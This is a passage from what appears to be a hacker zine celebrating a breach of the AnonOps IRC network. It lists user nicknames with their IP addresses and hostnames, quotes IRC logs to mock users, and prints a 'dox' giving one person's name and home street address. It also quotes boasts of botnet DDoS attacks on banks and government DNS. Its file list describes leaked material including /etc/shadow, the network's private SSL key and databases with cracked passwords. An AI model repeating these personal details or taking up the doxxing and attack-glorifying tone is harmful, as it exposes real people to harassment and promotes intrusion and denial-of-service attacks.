  567. u_raff_u_roose 68.43.10.243 c-68-43-10-243.hsd1.mi.comcast.net
  568. uuuuffffffff 213.163.64.43 nl.gigabit.perfect-privacy.com
  569. veritas 0.0.7.209
  570. workbench 50.71.143.81
  571. wtfCALEB 128.32.21.89 static-128-32-21-89.Law.Berkeley.EDU
  572. wtf_chuck 71.57.241.72 c-71-57-241-72.hsd1.pa.comcast.net
  573. xent 77.247.181.162 chomsky.torservers.net
  574. zombie 93.94.245.152 93-94-245-152.dynamic.swissvpn.net
  575. zomfg 77.111.42.10 77-111-42-10.ipv4.tusmobil.si
  576. zorro17 187.134.17.57 dsl-187-134-17-57-dyn.prod-infinitum.com.mx
  577. zxcvsd 95.140.125.37 free-125-37.mediaworksit.net
  578.  
  579.                    
  580.                    :: 0x06 ~ l0l sh1t ::
  581.  
  582. Here's a bit of quotes we found funny.
  583.                            
  584.         _       _                       _                            
  585.        | |     | |                     (_)                          
  586.      __| | __ _| |__   ___   ___   __ _ _  ___ _ __ ___   __ _ _ __  
  587.     / _` |/ _` | '_ \ / _ \ / _ \ / _` | |/ _ \ '_ ` _ \ / _` | '_ \
  588.    | (_| | (_| | |_) | (_) | (_) | (_| | |  __/ | | | | | (_| | | | |
  589.     \__,_|\__,_|_.__/ \___/ \___/ \__, |_|\___|_| |_| |_|\__,_|_| |_|
  590.                                    __/ |                            
  591.                                   |___/                              
  592.                                                    
  593. <daboogieman> now that i'm an oper im no longer accepting PM's from anyone
  594.     because i feel that i have too much else to do ( being an oper and all)
  595. <daboogieman> the only thing i know about irc is how to sajoin <nick> #kill
  596.     and /kill <nick>
  597. <daboogieman> any attempt by a non-oper to chat to me will be met by instand
  598.     gline and/or kill  
  599.         _      
  600.        (_)    
  601.   _ __  _  ___
  602.  | '_ \| |/ _ \
  603.  | |_) | |  __/
  604.  | .__/|_|\___|
  605.  | |          
  606.  |_|          
  607.  
  608.  
  609. <pie>!ban *!*@*
  610. <anon>what the fuck
  611. <pie>its ok i can do whatever i want because im drunk
  612. <pie>it will be fine in the morning
  613.                            
  614.                _      _    
  615.               | |    | |    
  616.       ___ __ _| | ___| |__  
  617.      / __/ _` | |/ _ \ '_ \
  618.     | (_| (_| | |  __/ |_) |
  619.      \___\__,_|_|\___|_.__/
  620.                        
  621.                        
  622. <Caleb>fuck my vps just got hacked with a ddos attack
  623. <Caleb>morning
  624. <Caleb>hi
  625. <Caleb>:3
  626. <Caleb>have a nice sleep? :3
  627. <Caleb>i had a good sleep
  628. <Caleb>eating my lunch now
  629. <Caleb>ohai
  630. <Caleb>ohai!
  631. <Caleb>ohai :3
  632. <Caleb>my computer seems to be fucking itself at 7000 rpms.
  633. <Caleb> just block the morons
  634. <Caleb>hmmm
  635. <Caleb>lol
  636. <Caleb>sup!
  637. <Caleb>:3
  638. <Caleb>going to sleep for a bit bbl...
  639. <Caleb>How do you hack with a DDOS attack?
  640. <Caleb>my shell just got hit with 77gbps
  641. <Caleb>im gonna destroy them when i find out who did it
  642. <Caleb>just get a VPS/VPN and use IRSSI to stop yourself getting ddosed
  643.  
  644. @CalebNewz: somehow their hitting my ip table.
  645.     _____      _____ _ __  
  646.    / _ \ \ /\ / / _ \ '_ \
  647.   | (_) \ V  V /  __/ | | |
  648.    \___/ \_/\_/ \___|_| |_|
  649.                            
  650.                                                  
  651. <owen>FUCK this box doesnt have wget we are screwed then
  652. <owen>[redacted] im fucking zlineing you because you're a movement traitor
  653. <owen>you dont even know who i really am and the connections i have
  654. <owen>i can just call in a favor and get your personal life ruined
  655. <owen>is there young boys here (over 18) who wanna have a chat in pm??
  656. <owen>you HAVE to install unreal to ~/Unreal3.2
  657.  
  658.             _           _____     __
  659.       /\   | |         |__ \ \   / /
  660.      /  \  | |__   __ _   ) \ \_/ /
  661.     / /\ \ | '_ \ / _` | / / \   /  
  662.    / ____ \| | | | (_| |/ /_  | |  
  663.   /_/    \_\_| |_|\__,_|____| |_|  
  664.                                    
  665.                                  
  666. <Aha2Y>if your servers getting DDoSed just mitigate the attack
  667. <Aha2Y>i have this awesome script i found on hackforums
  668. <Aha2Y>it blocks ip addresses
  669. <Aha2Y>i found a backdoored zalgo source on the internet and im gonna use
  670.     it on my network
  671. <Aha2Y>what the fuck i am getting ddosed cos i just saw this ip in my netstat
  672.     so that means its DDoSing me right?
  673. <Aha2Y>i'll use my script of hackforums to block it
  674.  
  675.     ____                       ____     _    _ _
  676.    |  _ \ _____      _____ _ _|___ \   / \  | | |
  677.    | |_) / _ \ \ /\ / / _ \ '__|__) | / _ \ | | |
  678.    |  __/ (_) \ V  V /  __/ |  / __/ / ___ \| | |
  679.    |_|   \___/ \_/\_/ \___|_| |_____/_/   \_\_|_|
  680.                                              
  681. @Power2All: For the people who used CGI:IRC, my sincerely excuses for the IP
  682.     leak. I couldn't fix it in time as Nikon or Chippy DDoS't my home IP too.
  683.    
  684. @Power2All: @doxbin Oh and, I never said back when I put CGI:IRC up, that it
  685.     is deemed SAFE. I said it was online, not "SAFE", dipshit.
  686. @doxbin: @Power2All Why would you even bother advertising it if it wasn't safe?
  687.     That just smacks of gross negligence. Turn in your Guy Fawkes mask.
  688.    
  689. @Power2All: @anonymouSabu They are all Nullrouted sofar, and some suspended by
  690.     the provider.
  691.    
  692. @Power2All: Yes, they honeypotted my IP. Using mobile connection now.
  693.  
  694.                             _                
  695.      _ __ ___ _ __ ___  ___| | ___  ___ _ __  
  696.     | '__/ _ \ '_ ` _ \/ __| |/ _ \/ _ \ '_ \
  697.     | | |  __/ | | | | \__ \ |  __/  __/ |_) |
  698.     |_|  \___|_| |_| |_|___/_|\___|\___| .__/
  699.                                        |_|
  700.  
  701. D0X TIME :: D0X TIME :: D0X TIME :: D0X TIME :: D0X TIME :: D0X TIME :: D0X TIME
  702.     Names:          Rick Bonata
  703.                    
  704.     Address         221 FRANKLIN AVE
  705.                     CUYAHOGA FALLS, OH 44221
  706.                    
  707.  
  708. <remsleep>i might launch at 666,666
  709. <remsleep>idk yet
  710. <remsleep>i've done small tests, like basically, i can take down BoA's website in minutes.
  711. <remsleep>it takes time to send orders to 180,000 zombies :p
  712. <remsleep>the time servers being down complicated the scanrio
  713. <remsleep>scenario                            
  714. <remsleep>once i hit 1,000,000 i will take out the .mil tld servers an main dns.
  715.  
  716. <Ian>on average, the typical non-root server is 10mbps
  717. <remsleep>but as far as the world is concerned, i am just a host.
  718. <remsleep>Ian: yes
  719. <remsleep>Ian: I go after school districts, fortune 500's, car dealerships, etc.
  720. <Ian>so you are talking about
  721. <Ian>10,000,000mbps
  722. <remsleep>:)
  723. <Ian>10,000gbps
  724. <remsleep>heuheheuhehehe
  725. <Ian>10 terabits
  726. <remsleep>roughly.
  727. <remsleep>plus or minus
  728. <remsleep>it's take years
  729. <remsleep>and constant evasion of law enforcement
  730. <remsleep>i've got a direct line into NCIC via telnet.
  731. <remsleep>:D :D :D
  732.  
  733. <remsleep>verified i have gov ip's on mah shit
  734. <remsleep>i am going to block ALL government ips
  735. <remsleep>http://www.uaff.info/militarytracking.htm
  736. <remsleep>fyi
  737.  
  738. <remsleep>i mean if i was a giant corporate vpn provider and they offered me like
  739.     2 mill for some ips, i would give fake ips but i would do it for the $$ lol
  740. <remsleep>not the first time i've falsified logs for money ;p
  741. <remsleep>i remember in 09 when i cleared all the cached ips / logs for Verizon
  742.     DHCP clients, I was getting radio signals beemed at my house :P
  743. <remsleep>@-@
  744. <remsleep>wonder how many warrants become invalid because of that little job :D
  745. <remsleep>chinanet is connected to me
  746. <remsleep>mother fuckers
  747.  
  748. <remsleep> If the FBI does come, or whomever for whatever reason, I will have
  749.     them on camera with a live feed with a 3G modem backup streaming to one of
  750.     my VDSs. I would be unstopable after that, I would sue for false arrest,
  751.     kidnapping, conspiracy to each, general fuckery as well as a large sum of
  752.     punitive damages.
  753.  
  754. <anon> Hey
  755. <anon> 221 FRANKLIN AVE
  756. <anon> CUYAHOGA FALLS, OH 4422
  757. <anon> Lucky for you, I'm not in your jurisdiction ;)
  758. <remsleep> So you're saying you're a cop?
  759. <remsleep> And btw, that's just one of my many residential IPs in Cuyahoga
  760.     Falls Ohio
  761. <remsleep> and my dns whois, falsified as well. :\
  762. <anon> Yeah, ok
  763. <anon> You should probably just /quit
  764. <anon> If you continue to enable terrorist activity, I'll call someone who
  765.     DOES have jurisdiction
  766. <remsleep> ..
  767. <remsleep> Really?
  768. <anon> Really.
  769. <remsleep> Dude, call who you wanna call. I could care less.
  770. <anon> Also, seriously?
  771. <anon> 21:45:27 [basedonconfusion] -Global(services@basedonconfusion.co)-
  772.     [remsleep] Memo to ANY Law Enforcement: You are compelled to
  773.     leave this network, failure to do so will result in whatever
  774.     evidence obtained being after this point will become sealed
  775.     and unusable in court. You are tresspasing, you have been warned.
  776. <anon> HAHAHAHAHA
  777. <anon> I've kicked down the doors of file sharers who had similar
  778.     notices attached to their servers
  779.  
  780.                         :: 0x07 ~ FiL3z ::
  781.  
  782. We've enclosed some fun files for your viewing pleasure. These are probably
  783. the best part of this dump.
  784.  
  785. Filename            Description
  786. shadow              /etc/shadow, self explanatory
  787. oper.db             Anope Oper Database
  788. chan.db             Anope Channel Database
  789. nick.db             Anope NickServ Database
  790. keys.txt            AnonOps private ssl key/cert
  791. defaults.conf       InspIRCd Conf.
  792. nick.out.txt        Human readable NickServ database w/ cracked passwords,
  793.                     nickname aliases, registration times, seen times, memos (LOL)
  794. chan.out.txt        Huamn readable ChanServ database w/ cracked passwords,
  795.                     access lists, akick lists, badwords, ..etc.
  796.                    
  797.                         :: 0x08 ~ exit ::
  798.                        
  799. tl;dr JAJA ANONOPS ESTAN MUERTO.   (LOL DEAD)                    
  800.  
  801. AnonOps killed Anonymous, and today, we at HEP have avenged them. We cannot
  802. bring Anonymous back to the state it was, but we've burned the abonimation
  803. that took its place to the ground. For that, we are proud. We hope you enjoyed
  804. reading this little 'zine half as much as we enjoyed owning these
  805. pseudo-activitists for the Nth time. We've personally been responsible for
  806. nulling somewhere in the neighborhood of 50 of their servers, and will just
  807. keep dropping them as they put more back up. Ryan Cleary had the right idea,
  808. in trying to get Anons to spread out, but the namefags didn't want to listen.
  809. This time, we can only hope that they do.
  810.  
  811. VIVA LA CARLOS1337!!!!!
  812.  
  813. shoutz 2 kayla, robert cavanaugh, topiary & ryan cleary and zalgo irc trojan
  814.     for fighting the good fight.
  815.    
  816.  
  817.